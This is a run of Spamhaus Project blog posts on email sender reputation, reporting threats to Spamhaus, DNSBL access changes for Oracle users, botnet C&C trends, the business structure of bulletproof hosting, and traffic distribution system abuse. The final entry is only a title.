The Spamhaus Project

Email compliance & reputation - The inbox remembers

Melinda Plemel — Thu, 05 Mar 2026 13:11:40 GMT

Email compliance is a tale as old as time - or at least as old as the early 2000’s - when it became clear that the email ecosystem couldn’t continue to run on trust alone. The moment email became cheap, fast and scalable, it also became vulnerable to abuse. Open relays, inadequate infrastructure and the “send to all” mindset - regardless of the cost - pushed the inbox to its breaking point. The result was an ecosystem of regulations including blocklists, filtering and reputation systems specifically designed to defend it. This wasn’t created to make lives difficult, but because it became necessary. Without it, the inbox was quickly becoming unusable. That history still defines the email system today. Email compliance isn’t just a checklist or a legal requirement - it’s how sender eligibility is defined. Email compliance and reputation may be well-worn topics, but they are as relevant as ever. This blog explores how they continue to shape deliverability, and why reputation remains one of the most influential forces in email. What exactly do we mean by email compliance? Email compliance refers to the steps taken to follow regulations such as the: CANSPAM Act of 2003, Canada's Anti-Spam Legislation (CASL), General Data Protection Regulation (GDPR), alongside best practices and processes, established to help protect platforms, end users and companies from email scams and malicious activity. Although the ecosystem has changed over time, the underlying compliance fundamentals have not. Good sending has always been the foundation. Compliance and deliverability are inseparable From a sender’s perspective, compliance is often tied to regulations (mentioned above), which absolutely matter. But long before laws existed, mailbox providers were already making decisions based on sender behavior. When email stops being delivered, it’s rarely due to one rule being violated. It’s due to trust being eroded over time. This is why compliance and deliverability are inseparable. Permission, bounce processing, and authentication are not data points to evaluate in insolation; they are part of the answer to the ultimate question: “Does this sender behave in a way that meets our compliance requirements?” Permission is the foundation Permission must be obtained organically, confirmed correctly, and continually respected. It isn’t permanent. It needs to be managed over time. Audiences change, expectations shift, and disengagement carries consequences. Mailbox providers interpret inactivity as a signal of declining relevance. When recipients consistently ignore messages, metrics fall below acceptable levels, it sends a signal to the mailbox provider that these messages are not important and should not be junked. Bounce signal oversight Sending too many messages to invalid addresses signals poor list management and weak oversight. Bounces are sometimes dismissed as mere noise, but mailbox providers have treated bounces as a quality indicator for decades - and they have not grown more forgiving over time. It sends a signal to the mailbox provider that you do not care about maintaining data properly. High amounts of invalid bounces can indicate there are poor acquisition practices, outdated lists, possibly purchased lists which will immediately lower trust. Sending to mailboxes that are ‘dead’ can result in traffic being throttled, bulk foldering and temporary blocks. Spam traps expose deeper problems Hitting a spam trap is rarely an accident caused by an isolated issue. It’s almost always the result of much deeper problems: poor permission and acquisition practices, lack of confirmed opt-in, or continued sending long after engagement has faded. Spam traps are deliberately designed to expose poor practices. Mail sent to them carries a strong signal that permission and list hygiene have failed. As a result, trap hits carry a heavier reputational impact compared to most other metrics. Authentication enables accountability SPF, DKIM and DMARC are key authentication protocols that tie identity to a sender, allowing mailbox providers to apply rules and filters correctly. Without authentication, good behavior cannot be evaluated properly, and bad behavior cannot be accurately contained. This is one - if not the primary - reason why major providers like Google, Yahoo, and Microsoft have shifted from recommended to mandatory email authentication for bulk senders. Accountability is impossible without identity. Reputation: The long term memory Bounces, permission, spam trap activity, and authentication are tracked and remembered over time. Collectively, they shape a sender's reputation. The word reputation comes from the Latin verb reputare, meaning "to take into consideration" or "to think over." In email, that meaning still applies. Every action, whether positive or negative, is carefully taken into consideration and remembered. Reputation is built slowly, damaged quickly, and constantly recalculated. There is no reset button, or appeal process. No amount of volume or IP hoping can force trust back into place. This has always been true. Reputation doesn’t just impact individual senders. On shared platforms, such as large email service providers (ESPs) it affects entire ecosystems. One sender's actions can influence how thousands of others are perceived, affecting entire ecosystems. Protect your reputation Email compliance isn’t about perfection. It’s about accountability and operating responsibly on a system with a long memory and little patience. The inbox remembers.

How to report suspicious activity to Spamhaus (with all the right info!)

Sven Krohlas — Thu, 26 Feb 2026 11:58:04 GMT

What is the Spamhaus Threat Intel Community? It is a dedicated platform where anyone can easily report malicious activity to Spamhaus. Whether you’ve spotted a single spam email, or you’re a researcher looking to increase the reach of your threat-researching activities, your contributions are welcome here. Every piece of data helps, whether it’s a phishing site, a spam campaign, or a malicious IP. What you can share The portal currently accepts four types of threat data - these include malicious or suspicious: IP addresses** e.g. 203.0.113.1 Domains** e.g. example.com URLs** e.g https://www.example.com/test and raw email sources (full spam emails including headers). What about sharing malware? For reporting malware payloads or botnet command-and-control servers, you can share them via Spamhaus’ partner, abuse.ch. Supported by Spamhaus, abuse.ch provides community-driven threat intelligence platforms for sharing and accessing malware and botnet data. There are four core platforms: URLhaus (malicious URLs), MalwareBazaar (malware samples), ThreatFox (indicators of compromise), and YARAify (YARA rules). With a community of over 15,000 specialist researchers, abuse.ch helps extend the reach and impact of your malware and botnet-related data. Getting started with the portal There are two ways to report suspicious IPs, domains, URLs and raw source to Spamhaus: submit individually, or use the API to feed a steady stream. First you’ll need to create an account via one of three authentication methods (Github, LinkedIn or Google). Single submission: Once you’ve created your account, go to 'single submission' and click ‘submit’ to complete the form. Choose the submission type (IP, domain, URL, email), threat type (like spam, scam, phishing and others) and fill in the details, including why it's suspicious. Later on, we’ll explain what kind of evidence is most helpful for verifying the suspicious activity. API submissions: To send a stream of suspicious resources, you’ll need to use the API in conjunction with a key, which you can create through the account page. Login and click ‘Account.’ Scroll to ‘API Key Creation’ and click ‘Create Key.’ Copy the API Key and store it somewhere safely, as it will only be shown once. To get started with the API, you will need some basic coding skills. Read the full technical documentation. Once set up you can start submitting signals, although please note we do have some rate limiting applied! Evidence is key When submitting suspicious activity or threats, including supporting evidence makes your report much more reliable, helps prevent false positives, and allows us to verify the threat, leading to more valuable threat intelligence. Here’s what you can do: Keep your ‘Reason’ short and concise. Due to the high number of submissions, identifying relevant technical information quickly is vital. There’s no need to include a hello! Add a link to screenshots of your evidence in the "Reason" field to help speed up the process of confirming malicious or suspicious activity. Use free tools such as urlscan.io to gather phishing evidence, including relevant screenshots. You can even include elements such as geolocation, agent, screenshot, and redirect chain. Get involved. Join the community. Every report, no matter how small it feels, can make a real difference. If you care about cybersecurity and want to be part of something meaningful, we welcome you to contribute and join our community. By sharing our knowledge and working together, we can make it much harder for cybercriminals to succeed, and make a safer internet for everyone. Visit the Spamhaus Threat Intel Community portal and make your first report! Please review the frequently asked questions, particularly ‘What are the terms and conditions for submitting data’ to ensure that using the Threat Intel Community portal is right for you.

Querying the free DNSBLs via Oracle? Move to Spamhaus Technology’s free Data Query Service

The Spamhaus Team — Wed, 25 Feb 2026 12:41:36 GMT

The headlines for those in a hurry The fair use policy states that users cannot query via DNS resolvers or servers where there is no attributable reverse DNS; this includes Oracle's network (we'll explain why later in this article). To provide a clear signal to users that these blocklists are not protecting their email, Spamhaus will return an error code; 127.255.255.254. If you haven't set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology’s free Data Query Service (DQS), which you can sign up for here. Once you've verified your email address, you will get access to a "DQS key" to include in your configuration. These config changes take only minutes; see the technical docs for more detail. Why can’t Oracle users query the public blocklists? The blocklists that are made freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the fair use policy. Oracle’s default reverse DNS masks organizations' unique identities to the Public Mirrors, so the team can’t attribute usage to individual entities. They have no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free DQS. How is the free DQS different from the free Public Mirrors? Usage transparency - users register to access the free DQS and are provided with a key that records query volumes. Increased performance - blocklists are updated in real time. Additional protection - access to more blocklists, including: Zero Reputation Domains (ZRD) Low Resource Domains with hostname (Domain Blocklist, DBL) Bruteforce IPs (Auth Blocklist, AuthBL) How to access the free DQS Remove all legacy Spamhaus Project DNS Blocklist configurations in advance of signing up for an account. If you don't do this you may not be able to receive the account verification email. Sign up for an account Verify your email address Log in to your account and access your DQS key Update your email configuration. We have config guides for mainstream MTAs. How will Oracle users be prevented from querying the free DNSBLs? To ensure the fair use policy is adhered to, queries from IP addresses outside the policy will be blocked, and an error code will be returned. In the case of querying via an open/public resolver, i.e.,Oracle, the error code is 127.255.255.254. If your MTA can't correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free Public Mirrors. When will the error code for Oracle users be introduced? The error code will be slowly implemented across Oracle’s IP space, commencing from Wednesday, April 9th 2026. Please don’t delay - take action now and move to the free DQS. What if I don’t want to use the free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus's IP and domain reputation. If you no longer wish for your mail stream to be protected for free by the blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for DNSBL users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now Any questions? Not a problem – reach out to us via Twitter @spamhaus, LinkedIn @TheSpamhausProject or our contact form.

Botnet Spotlight: Pressure rises on botnets — but the fight is far from over

Jonas Arnold — Tue, 27 Jan 2026 11:57:32 GMT

Pressure mounts on miscreants… The second half of 2025 saw two encouraging developments: Some operators of notoriously abused, legitimate networks started cracking down more effectively on botnet C&Cs on their platforms. Meanwhile law enforcement increased pressure on first-stage malware such as Remote Access Trojans (RATs) as well as bulletproof hosting providers. These efforts culminated in countermeasures such as another Operation Endgame season, and the takedown of CrazyRDP, a major bulletproof hoster physically located in the Netherlands. Both phenomena combined mean fewer safe harbors for hosting botnet C&Cs (among other malicious infrastructure) and increasing abuse density at networks who continue maintaining a poor anti-abuse posture. By going after RATs, rather than focusing solely on follow-up malware, law enforcement efforts to curb cybercrime are more focused on the problems’ roots, rather than its symptoms. Declines in live botnet controllers at networks such as huawei.com (-76%), tencent.com (-54%), alibaba-inc.com (-46%), amazon.com (-43%) and google.com (-41%) suggest abuse handling improvements, although more work needs to be done in the realm of abuse prevention at alibaba-inc.com and tencent.com, as indicated by an increase of newly observed botnet controllers (+16% and +14%, respectively). … and those enabling them As criminal demand for botnet controller hosting continues unabated, expect this situation to result in threat movements, rather than a lasting decline. Hosting providers already under siege (or deliberately turning a blind eye on abusive customers) may experience a further increase of botnet C&Cs on their networks. Such candidates may be contabo.de, digitalocean.com and colocrossing.com; all three networks saw significant increases in live and newly observed botnet C&Cs from July to December 2025 already. We urge these networks’ abuse desks to take note, and step up their efforts significantly. As for bulletproof hosters, while alternatives remain available to fill the void CrazyRDP’s departure caused, we assess most are physically based in Western jurisdictions (such as virtualine.org, as210558.net and simplecarrier.net). Their widespread adoption of a “separation of liabilities” modus operandi may indicate that rogue hosting providers are already facing increased pressure. Becoming responsible for an even greater abuse concentration makes them even more of a takedown target. Law enforcement intervention, however, painted an incoherent picture in the second half of 2025: While the arrest of VenomRAT’s alleged developer may likely cause a lasting decline of related botnet C&Cs, Latrodectus, a previous target of law enforcement intervention, resurfaced (see Botnet Threat Update Jul - Dec 2025: “Malware associated with botnet C&Cs” section), emphasizing an old anti-abuse saying of takedowns without arrests merely resulting in smarter criminals. Disappointments in the domain dimension Finally, the aforementioned improvements are balanced by a deteriorated situation in the realm of botnet controller domains: July to December 2025 saw increases almost across the board, including disappointing news from a variety of Western domain registrars. Defenders are thus left with a mixed threat landscape: Should legitimate network operators and law enforcement continue tackling botnet C&C-related abuse effectively in 2026? Their protection of infrastructure by applying IP-based countermeasures may yield better results, as botnet controllers flock to internet areas already known for poor reputation. Simultaneously, however, a surge in botnet controller domains highlights the necessity of not relying on filtering botnet C&C traffic by IP alone. With the Christmas break now over, we hope to see domain registrars and TLD operators waking up – and ensuring their part of making life harder for botnet controller operators is done, contributing to a safer internet for everyone. Read the full Botnet Threat Update July to December 2025.

Botnet Threat Update July to December 2025

The Spamhaus Team — Mon, 12 Jan 2026 13:46:46 GMT

Botnet Command & Controller (C&C) activity increased 24% this period, with Remote Access Trojans (RATs) accounting for 42% of the Top 20 malware associated with botnets. Learn which Russia-based registrar saw a +9,608% surge in botnet C&C domains—and which major cloud providers are taking action. Read the full report.

New Feature | Spamhaus Reputation Checker: Troubleshoot your listing

The Spamhaus Team — Wed, 17 Dec 2025 10:44:41 GMT

What is the IP and Domain Reputation checker? If you’re already familiar with the Checker tool, feel free to jump to: "New Troubleshooting feature". For those who are new to it, the Checker is a free Spamhaus tool that allows users to check if an IP address, domain name or hash is listed on one of our DNS blocklists (DNSBLs). Once you enter your resource into the search, the Checker will: Check your IP or domain against Spamhaus DNSBLs Explain why it may have been listed Indicate the potential impact such as email deliverability issues Provide support on how to fix the issue or request removal New Troubleshooting feature If your IP address has a CSS Blocklist listing you must meet the email sending best practices as specified in RFC 5321/5322 before requesting removal. To make things easier, we’ve introduced a new Troubleshooting step to help you quickly pinpoint and resolve any issues that could prevent your removal request from being approved. Here’s how it works: First, checks are performed to determine whether the submitted IP address has: A reverse DNS (PTR) record A valid HELO) domain that matches the reverse DNS record Forward-confirmed reverse DNS Matching values across all of the above Once those checks are complete the results of the DNS lookups are displayed: Most Recently Seen HELO Values This section shows the HELO values your mail server has used in recent connections. If they are unrecognized or don’t match your expected configuration, this indicates your server may be misconfigured or compromised. IMPORTANT: If the HELO values do not match the sending configuration and are random, there is a possibility the IP is part of a residential proxy network. Please read our FAQ on troubleshooting residential proxy issues. PTR Record/HELO Check The Checker displays the following results: HELO Resolution:** Whether the HELO domain resolves to your sending IP address in public DNS. PTR Record:** The reverse DNS hostname associated with your IP address, and whether the record matches the HELO domain seen in recent connections. PTR Resolution:** Whether the PTR record resolves back to your sending IP address. If any of these checks are marked with a red cross, it indicates there is a configuration issue. In this case any request for removal is likely to be unsuccessful. Resolution steps To ensure your IP has the best chance of removal, you need to follow the suggested Resolution steps to fix any issues found. These are: The HELO domain must resolve to the sending IP (via an A or AAAA record). The sending IP must have a valid reverse DNS record that resolves to a fully qualified domain name (FQDN). The reverse DNS record must match the HELO domain. The reverse DNS record must resolve back to the sending IP (FcrDNS). Request Removal Once you’re confident you’ve resolved the issue(s), you can proceed to the Verification form and submit your removal request. If an automatic removal has been allowed, then no further action will be required. Where an automatic removal has not been permitted, then the Checker will automatically raise a ticket and navigate you to the Ticket Center for support from the team. Any questions? Feel free to reach out to us via Linkedin, X or Mastodon.

The anatomy of bulletproof hosting – past, present, future

Jonas Arnold — Wed, 19 Nov 2025 10:41:58 GMT

Few cybercrime enablers are as crucial and notorious as bulletproof hosting. However, despite its importance, reporting on “DNS, web, mail or other services provided with either explicit or tacit actions not to disconnect customers who spam or engage in cybercrime” (Spamhaus’s definition of bulletproof hosting) is often domineered by sensationalism and tabloid-style “infotainment.” For those seeking more prosaic coverage on this topic, join a journey on the history, current state of affairs, and potential future developments in the threat landscape of bulletproof hosting. Monolithic bulletproof hosters: Declining, but still relevant Just like their legitimate counterparts, bulletproof hosting providers (BPHs) rely on core components such as robust internet connectivity, IP address space, servers, networking hardware and physical premises. Furthermore, systems for managing customers, billing, support tickets, and resource allocation (e.g., hypervisors) are necessary as well. As we elaborate in a later section, these “ingredients” may be provided by different facilitators, but the most simple form of both legitimate and bulletproof hosting involves having all of them utilized by the same entity: The same company owns everything from the building to the virtual machines it provides to its customers. Although resilience is an important aspect of running a legitimate hosting business as well (think of uninterruptible power supply, redundant network, and backups), BPHs have additional demands: They must shield their operations from interference by law enforcement, security researchers, and vindictive ex-customers or competitors. Reducing dependencies as much as possible at the first glance seems beneficial to improved business resilience. Some “monolithic” BPHs leverage this to the extent of maintaining direct presence at major internet exchange points and multiple uplinks to tier-1 carriers with lax customer vetting, creating a robust network connectivity setup. While Spamhaus is aware of several monolithic BPHs still being active today, we assess owning physical datacenters (once a significant asset) has increasingly become a liability, as it makes relocations costly and time-consuming, reducing room for manoeuvre in case adversaries are zeroing in on a BPH’s premises. How BPHs respond to pressure is a topic on its own. Spamhaus frequently observed monolithic BPHs to attempt to lie low after major incidents such as (soft) law enforcement action, presumably to remain in business and avoid full-blown takedowns. For example, following a raid in 2020, a long-running BPH based in the Netherlands largely cleaned its networks from technical threats (such as malware distribution, phishing and botnet controller hosting), and appears to constrain its customers’ abusive activities to hosting pirated content and similar non-threatening type of content (which commonly receives less scrutiny by security researchers) ever since, according to our assessment. It is important to note that, contrary to what “monolithic” suggests, all types of BPHs frequently involve several corporate entities, particularly shell companies. In some cases, differentiating between those and third party facilitators is difficult, blurring the line between monolithic BPHs and the next archetype. Separation of liabilities: Bulletproof hosting built atop disposable ingredients The majority of active bulletproof hosting providers Spamhaus currently tracks follows a different modus operandi: By deliberately having key functionality provided, owned or controlled by different business entities, they strive to hamper efforts to identify parties responsible for abusive activity and increase resilience against terminations or takedown attempts. As mentioned before, usage of shell corporations has always been a common sighting in the bulletproof hosting landscape. However, modern BPHs are taking the game further, compartmentalizing required technical and business components to maximize robustness of their operation. Rather than running their own, they source necessary “ingredients” through reseller schemes, abusing services offered by legitimate (and cybercrime-tolerating) companies, such as datacenters and IP address brokers. A comparison between aforementioned Dutch bulletproof hoster and a now-defunct, non-monolithic counterpart (also physically hosted in the Netherlands), illustrates the added complexity: | | Monolithic Dutch BPH | Non-monolithic BPH | | ------ | ------ | ------ | | Server/VPS offerings | Through public-facing websites easily attributable to involved business entities. | Shell corporation maintained non public-facing website, likely advertised on underground forums and via public-facing, Cloudflare-hosted websites operated by seemingly unrelated brands/entities. | | Hardware | All owned and physically operated by key personnel, except for major colocation customers. | Servers partly owned by key personnel, leveraging colocation services (including remote hands-on) by datacenter operator. | | Connectivity | Several tier-1 upstreams and presence at Dutch internet exchange points via decoy ISPs. | Through reseller services by datacenter operator, including decoy carrier and remote connectivity at Dutch internet exchange point. | | IP allocation | Direct allocations from RIPE, very static. | Leased from several IP brokers, partly through reseller schemes involving the datacenter operator. | | Company | Several long-running British, Dutch and Seychellian corporations. | “Disposable” US-based shell company with anonymous directors, set up via prominent corporate registration service. | | Datacenter | Owned and physically operated by key personnel on a day-to-day basis. | Colocation services in a Dutch datacenter, occasional on-site visits by key personnel. | Such “layered” cybercrime business models have been observed by Spamhaus as early as 2008, however, shifting from a monolithic approach to this “separation of liabilities” model significantly gained momentum in particular among BPHs physically based in Western jurisdictions. Involved corporate entities are frequently (and presumably, deliberately, such as to delay ongoing law enforcement investigations) based in many different jurisdictions, effectively creating “firewalls” of plausible deniability between different layers of a BPH operation. Investigators and members of the anti-abuse scene may recall rather unsatisfying conversations about abuse incidents akin to: Datacenter operator: “This is a colocation customer of mine, go talk to them.” Colocation customer: “Talk to the server owner, I just operate the hardware.” Server owner: “I just rent out virtual machines, I have no idea what’s happening. Oh, and I don’t do customer vetting, so there’s only an e-mail address and a cryptowallet I have on the problematic customer.” Upstream ISP: “We only route packets, we can’t police what content is being sent and received. Doing so smells like censorship!” Separating liabilities through seemingly unrelated companies also allows criminals to potentially learn about ongoing law enforcement investigations at an earlier stage, permitting them to tip off the involved customers, tamper with evidence and jeopardize forthcoming operations. Spamhaus is aware of incidents where law enforcement requests sent to one BPH facilitator were disclosed to entities directly operating the bulletproof hosting operation. Such layered operations also allow bulletproof hosters to issue legal threats against their facilitators: One particular, now-defunct BPH was leveraging decoy ISPs incorporated as US-based shell companies to procure connectivity from legitimate datacenters (a decade-old tactic in this realm). Facing imminent suspension by the latter, legal threats were being issued against the datacenter, as the ISP cannot be held liable for the abuse emanating from its “customers.” While the availability of reseller schemes (and poor customer vetting thereof) is central to enabling non-monolithic bulletproof hosting, one particular facilitator class has been key in fueling this development: The rise of IP(v4) address brokers Similar to its legitimate counterpart, the availability of IPv4 address space is crucial to bulletproof hosting operations; related internet abuse remains a largely IPv4-centred phenomenon (although botnet spam recently saw an uptick in IPv6 emissions, and Spamhaus is aware of several professional spammers operating out of IPv6 address space only). Fueled by an ongoing demand in IPv4 address space, a number of IP brokers have emerged, offering networks for rent or sale, as well as adjacent services, such as assistance in setting up Autonomous Systems. Customer vetting and abuse handling practices vary greatly between different IP brokers. The result is hardly surprising: IPv4 address space increasingly becomes a disposable asset to miscreants – spammers and bulletproof hosters alike. One IP broker pulls the plug and retracts the network they have rented out? Law enforcement seizes control during a takedown operation? Nevermind, move on to the next one, reassign new IP addresses, and resume activity. Occasionally, Spamhaus also observes bulletproof hosting on hijacked IP networks, effectively “digital no man’s land” whose legitimate owner has vanished, merged, or simply abandoned a network. This unclear ownership greatly impedes determining the entity responsible for abusive activity; it often takes years to resolve IP hijacking incidents. However, (semi-)legitimate IP broker schemes can offer IP address space at a greater disposability factor, while hijacked networks tend to be static and included in common blocklists. Most BPHs, therefore, currently seem to prefer abusing IP brokers over networks sourced via IP hijacking. As if aforementioned separation of liabilities wasn’t enough, some IP brokers greatly aggravate this situation: By not maintaining accurate Regional Internet Registry (RIR) data, customer identities are obfuscated - in some cases, even the involvement of an IP address broker remains invisible by examining publicly available information. When in contact with Spamhaus (usually after Spamhaus Blocklist listings were issued), back-and-forth discussion about a customers’ merits and why they appeared repeatedly on a brokers’ services are a common occurrence. Over the recent years, the abuse situation at several IP brokers had deteriorated so much that Spamhaus had to list entire IP allocations to protect its users. Several bulletproof hosting operations have been observed by Spamhaus to practice “IP broker hopping,” responding quickly to terminations by procuring services from a different IP broker. As a bonus, the involvement of IP brokers adds yet another layer to the aforementioned “separation of liabilities” model, and renders efforts to freeze or retract IP address space, a potential countermeasure currently discussed among anti-abuse and law enforcement circles, ineffective. (It is not all doom and gloom, however: Some BPHs appear to be significantly attached to their IP address space, even going so far as to buy once-rented prefixes from the IP broker involved, as Spamhaus observed in the case of a US-based bulletproof hoster in August 2025.) Living off trusted services: LOTS of headache for defenders Finally, the greater phenomenon of abusing trusted services, where widely used yet heavily abused services (e.g., certain Content Delivery Networks (CDNs)) become key enablers to malicious internet activity, encompasses bulletproof hosting as well. Spamhaus observes domains moving from BPH infrastructure behind CDNs on a regular basis. Unsurprisingly, miscreants are learning from this: A Malaysia-based ISP catering to both legitimate, questionable and openly rogue customer clienteles routinely advises the latter two to leverage Cloudflare’s CDN services for hosting websites, rather than pointing the domain’s DNS records directly to the ISP’s networks. (It is Spamhaus’s assessment that this ISP utilises different IP networks for different customer clientele, rather than attempting to thoroughly mix legitimate and illicit infrastructure. A website dedicated by this ISP to a Chinese-speaking cybercrime clientele was shut down in 2023, following pressure by anti-abuse circles.) Abusing high-profile internet infrastructure - effectively “too big to block” - also reduces the necessity of maintaining criminal disposable front-end/reverse proxy infrastructure such as the one we outlined in 2019. Defenders and investigators are left with bulletproof hosting operations consisting of complex webs of moving parts, with facilitators being disposable or exchangeable, in some cases obfuscated entirely from publicly available information sources. Outlook and implications Given its relevance to cybercrime as a whole, a lasting decline of bulletproof hosting activity is considered unlikely by Spamhaus. Instead, seeing their non-monolithic competitors thriving by leveraging aforementioned “separation of liabilities” schemes may incentivize miscreants to adopt this modus operandi, potentially joining the BPH market. While some facilitators, especially IP brokers, have significantly improved their customer vetting and abuse handling procedures following onslaughts of fraudulent sign-ups, obtaining IP(v4) address space remains feasible and affordable. Spamhaus therefore expects non-monolithic BPHs to continue thriving in jurisdictions with elevated pressure from law enforcement, while their monolithic counterparts seem to remain active in jurisdictions where law enforcement action is less effective, most notably, Russia. Efforts by miscreants to abuse trusted legitimate services (and the service owners’ ongoing failure of thwarting abuse of their platforms) will likely continue at a high operational tempo. For investigators, this threat landscape may carry the following implications: Different “layers” of a bulletproof hosting operation may be operated by the same entity, jeopardizing ongoing investigations if law enforcement requests are issued to companies involved. Data returned from such entities cannot be trusted. Publicly available information, such as RIR databases, **may not reliably reflect the current user of a network, particularly if an IP address broker is involved. In some cases, the presence of a broker might only be determined reliably via other sources, such as historical RIR data or routing history. Spamhaus is observing a rise of shell corporations in unobtrusive jurisdictions, predominantly the UK and USA, in conjunction with BPH activity. In contrast to other territories, such as prominent offshore countries, such shell corporations are more likely to fly under the radar during superficial customer vettings and investigations. Threat actors appear to deliberately leverage different jurisdictions for increasing resilience of bulletproof hosting operations, raising the bar for successful and sustainable takedowns. Seizure or retraction of single components is unlikely to permanently disrupt a bulletproof hosting operation, as illustrated by phenomena such as “IP broker hopping” above. If good network reputation is not crucial, BPHs also leverage hijacked IP networks for facilitating their operations. Public documentation of such networks is often outdated, incomplete or has been forged, requiring additional scrutiny (and potentially collaboration with the responsible RIR) to accurately identify entities responsible for abuse. Defenders tasked with protecting their infrastructure from security threats may wish to resort to the following countermeasures to tackle abuse emanating from non-monolithic BPHs: In addition to IP-based blocklists, deploy Autonomous System (AS)-based ones such as ASN-DROP to preemptively block traffic to or from criminal operations quickly cycling through IP address space. Anticipate characteristics such as living off trusted services, which commonly renders IP-based filtering insufficient for achieving robust protection. Deploy domain-based blocklists such as Spamhaus's Domain Blocklist (DBL) on mail and perimeter infrastructure, and evaluate whether heavily abused services can be blocked entirely across your organization. For example, depending on corporate policies, blocking external file sharing or object storage services may be feasible for all (or some) users, preventively neutering security threats relying on their abuse. Don’t look at incoming traffic only!** Imminent security threats can often be spotted (and prevented) by robust filtering of outgoing network traffic. Restrict such traffic as tightly as possible - why should a server be granted with unrestricted internet access? - and ensure attempts of internal infrastructure to communicate with blocked destinations are logged and investigated for indicators of compromise. Miscreants commonly strive for a clean reputation of abused IP addresses and domains, to reduce the likelihood of interference by blocklists and similar network security schemes. Thus, it is important not to focus exclusively on known BPHs when filtering malicious network traffic, but to prepare for the possibility of botnet controllers and the like being deliberately placed at abused, (semi-)legitimate hosting providers, especially those known for sloppy abuse prevention procedures. Finally, ISPs and hosting providers are strongly encouraged to thwart abuse attempts of their platforms by performing robust customer vetting (this includes screening other ISPs seeking connectivity) and to secure their network assets against IP hijacking attempts. In addition to preventive anti-abuse measures, responding quickly to abuse reports, and leveraging threat intelligence feeds for detecting ongoing abuse not (yet) reported by third parties is crucial to curb miscreants who made it past customer vetting and onboarding security checks.

Traffic Distribution System (TDS) abuse - What’s hiding behind the veil?

The Spamhaus Team — Wed, 05 Nov 2025 11:17:10 GMT

Those who follow the DNS abuse landscape closely may have noticed a rise in activity and abuse reports related to Traffic Distribution Systems (TDS). The use of this infrastructure for malicious purposes - particularly in phishing campaigns - is becoming increasingly common. In this blog, we look at how TDS are being exploited to facilitate abuse, why they present challenges for takedowns, and what we can do as a community to address the problem. What are TDS? A TDS is a network that redirects or filters web traffic; typical use includes advertising and affiliate tracking or geolocation targeting. TDS essentially act as intermediaries, often sitting between the link you click—say, in an email—and the page or service you ultimately reach. There are legitimate use cases for a TDS, but the advantages they offer are useful for cybercriminals too. Spamhaus has observed an increase in their use, enabling large-scale phishing, malware distribution, malvertising, and other harmful activities that rely on domains to distribute, conceal, and accurately target victims. Types of TDS There are many types of malicious TDS, but the most common are: TDS cloaking:** This involves the use of filters such as geolocation, user-agent, or referrals to hide malicious payloads. Redirect chains and domain rotation:** A rotation of domain names are used combined with multiple step redirects, eventually leading to malicious landing pages. Affiliate / phishing:** Offers, or fake updates are disseminated to lure users from non-malicious content through to a harmful destination. Obfuscating badness with TDS Adversarial use of TDS also makes life much harder for researchers and successful takedowns because they don’t deliver malicious content consistently. Instead, content is only served if a specific set of parameters is met. Otherwise you are simply redirected to innocuous sites, such as Google — leaving no visible trail of the malicious flow. This behaviour leads to reproducibility problems and makes collecting evidence challenging. You can’t capture the malicious content unless you replicate the targeting conditions precisely, turning investigations and remediation into a frustrating game of cat and mouse. It’s also important to note that, as the technology itself has legitimate applications, they aren’t technically abuse, even when exploited for malicious purposes. This makes TDS abuse a bit of a grey area. “TDS” abuse blindspot The current definition of abuse at ICANN refers to five types of harmful activity: Botnets Malware Pharming Phishing Spam (if it’s used to distribute one of the other four types of abuse) Excluding spam, this definition focuses only on directly harmful outputs, not the infrastructure used to distribute them. Due to this definition, a TDS redirector domain is therefore considered ambiguous, as it serves only as enabling infrastructure of DNS abuse tactics like malware or phishing. Similarly, systems that use geo-targeting to hide abuse, also lie in this grey-area as technically, they represent infrastructure abuse not DNS abuse. When it comes to takedowns, it also poses a unique challenge because registrars may not necessarily view them as abuse. They might contact the domain owner to remove the malicious link, but they wouldn’t necessarily consider the entire domain as malicious. Unfortunately, this would be compliant with ICANN’s definition of abuse, and consequently this wouldn’t trigger enforcement action. Is to facilitate, not to abuse? From ICANNS’s perspective, if a domain is used to facilitate abuse, but not to host it, it’s often outside the scope of DNS Abuse. From our point of view, however, TDS infrastructure is part of DNS abuse, for the very reason that it is facilitating large-scale malicious operations and, in these cases, exists solely to facilitate abuse. In essence, TDS are part of a larger ecosystem that enables abuse, rather than being the direct source of the abuse itself. Infoblox shares 100,000 domain names In June 2025, core network services provider, Infoblox, shared 100,000 domain names with Spamhaus, identified as belonging to the notorious Vextrio, a threat actor group known for its extensive use of TDS. Researchers found these domains to be spread across the globe, with many using top-level domains (TLDs). .life, .com, .club, and .top, (no surprises here) - many of which you will see in the latest Spamhaus Domain Reputation Update. Some domains cost as little as $2/domain, while others are more expensive, representing a minimum investment of around $200,000 - showing significant money being pumped into this infrastructure. Over two thirds of the domain names are registered with two providers Namesilo (66,000), and Namecheap (17,000). The pattern is clear: cheap domains are easy to acquire, often in bulk, making them ideal for large-scale operations like Vextrio. The good news? To provide user protection, we’ve added these domains to the Spamhaus Domain Blocklist and are now actively tracking TDS activity! What we can do As a community, we need to raise awareness among registrars and the wiser industry that TDS are a growing problem that are actively enabling malicious behaviour. You can also help by sharing any suspicious or malicious domains and urls with us via the Spamhaus Threat Intel Community Portal. Whether you have one domain or thousands of URLs, you can make a difference.

Domain Reputation Update April - September 2025

The Spamhaus Team — Tue, 21 Oct 2025 08:33:35 GMT

Over the last 6 months a total of 43.5 million new domains were registered — 75% of them gTLDs — with .top (+94%) and .xyz (+103%) among the top three. Domain listings surged by 48.3%, and one registry saw particularly huge increases - can you guess which one? Read the latest Domain Reputation Update.

Bad sushi: China-nexus phishers shift to residential proxies

Jonas Arnold — Thu, 16 Oct 2025 15:23:00 GMT

